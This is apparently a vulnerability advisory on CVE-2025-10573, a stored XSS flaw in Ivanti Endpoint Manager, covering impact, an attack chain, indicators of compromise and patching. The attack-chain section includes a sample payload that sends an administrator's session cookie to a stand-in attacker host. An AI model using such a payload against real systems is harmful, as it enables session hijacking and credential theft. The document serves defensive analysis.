CVE-2025-10573: 
Ivanti Endpoint Manager vulnerability analysis and mitigation

CVE-2025-10573 is a stored cross-site scripting (XSS) vulnerability in Ivanti Endpoint Manager (EPM) that allows a remote unauthenticated attacker to execute arbitrary JavaScript within the context of an administrator session. The vulnerability affects all EPM 2024 versions prior to 2024 SU4 SR1, including 2024, 2024 SU1, SU2, SU3, SU3 SR1, and SU4. It was published on December 9, 2025, with a patch released as part of Ivanti's December 2025 security advisory. The CVSS v3.1 base score is 6.1 (Medium) per NVD, though ENISA's EU Vulnerability Database assigns a higher score of 9.6 (Critical) reflecting the potential for full administrative compromise (Ivanti Advisory, Rapid7).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. An unauthenticated remote attacker can inject malicious JavaScript into a data field that is subsequently stored by the EPM application and rendered in an administrator's browser session without proper output encoding or sanitization. Exploitation requires user interaction — specifically, an administrator must view or interact with the page containing the stored payload. No authentication or elevated privileges are required on the attacker's side to plant the payload, making the attack surface particularly broad for internet-exposed EPM instances (Rapid7, Qualys ThreatProtect).

Successful exploitation enables an attacker to execute arbitrary JavaScript in the context of an authenticated administrator session, leading to session hijacking, credential theft, and unauthorized administrative actions on the EPM platform. Because EPM manages endpoint devices across an enterprise, a compromised administrator session could allow an attacker to pivot to managed endpoints, deploy malicious software, or exfiltrate sensitive configuration and asset data. The scope of impact extends beyond the EPM server itself to all endpoints under its management, making this vulnerability particularly high-risk in enterprise environments (Rapid7, CSO Online).

As of the time of disclosure, there is no public proof-of-concept exploit code and no confirmed evidence of in-the-wild exploitation (Feedly Executive Summary). The EPSS score is approximately 0.108%, indicating a low but non-negligible probability of exploitation in the near term. The vulnerability is not currently listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. However, CSO Online reported that hundreds of Ivanti EPM systems are exposed on the internet, significantly increasing the attack surface and the likelihood of opportunistic exploitation (CSO Online, Qualys ThreatProtect). Detection plugins are available from both Qualys (QID 386197) and Nessus (Plugin 278330).

1. Reconnaissance: Identify internet-facing Ivanti EPM instances using tools like Shodan or Censys, filtering for EPM versions prior to 2024 SU4 SR1. Censys release notes from December 2025 noted tracking of exposed EPM systems.
2. Identify injectable input field: Probe the EPM web interface for input fields accessible without authentication (e.g., device registration forms, asset submission endpoints, or other unauthenticated data entry points) that are later rendered in the administrator console.
3. Craft stored XSS payload: Construct a malicious JavaScript payload designed to steal the administrator's session cookie or perform actions on their behalf. Example payload: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
4. Submit payload: Submit the crafted payload through the unauthenticated input vector so it is stored in the EPM database.
5. Wait for administrator interaction: The payload executes when an administrator views the affected page in the EPM console, triggering the stored script in their browser context.
6. Hijack session or perform actions: Use the exfiltrated session token to authenticate as the administrator, or leverage the XSS to directly perform administrative actions such as deploying scripts to managed endpoints (Rapid7, SOC Prime).

• Network: Unexpected outbound HTTP/HTTPS requests from the EPM server or administrator workstations to unknown external IP addresses or domains, particularly shortly after an administrator logs into the EPM console; unusual DNS lookups from the EPM web server process.
• Logs: EPM web server access logs showing unauthenticated POST requests to data submission endpoints containing HTML/JavaScript tags or encoded script content (e.g., %3Cscript%3E, <script>, onerror=, onload=); administrator session activity logs showing actions not initiated by the administrator.
• File System: Unexpected files written to the EPM server by the web application process; new scheduled tasks or scripts deployed to managed endpoints following an administrator session.
• Process: Unusual child processes spawned from the EPM web server process; browser-based credential access tools or keyloggers deployed on administrator workstations after EPM console use (SOC Prime, Qualys ThreatProtect).

Ivanti has released a patch in EPM version 2024 SU4 SR1, which resolves CVE-2025-10573 along with several other vulnerabilities disclosed in the December 2025 security advisory. Organizations should upgrade to 2024 SU4 SR1 immediately, prioritizing internet-exposed EPM instances. As interim mitigations, administrators should implement a Content Security Policy (CSP) to restrict script execution, enforce multi-factor authentication (MFA) for all administrative accounts, restrict EPM console access to trusted internal networks or VPN, and monitor administrative sessions for anomalous activity (Ivanti Advisory, Rapid7).

The vulnerability received significant coverage across the security community following Ivanti's December 9, 2025 advisory, coinciding with December Patch Tuesday. Rapid7 published a dedicated technical blog post highlighting the unauthenticated nature of the attack and the risk to enterprise environments (Rapid7). CSO Online reported that hundreds of EPM systems remain internet-exposed, amplifying urgency around patching (CSO Online). The Hacker News, BleepingComputer, Security Affairs, and The Register all covered the advisory as part of broader December 2025 Patch Tuesday roundups. Security analysts on LinkedIn and Mastodon flagged the one-click admin takeover risk, and SOC Prime released detection content for the vulnerability. National CERTs including Singapore's CSA, Belgium's CCB, and Thailand's ThaiCERT issued advisories urging immediate patching.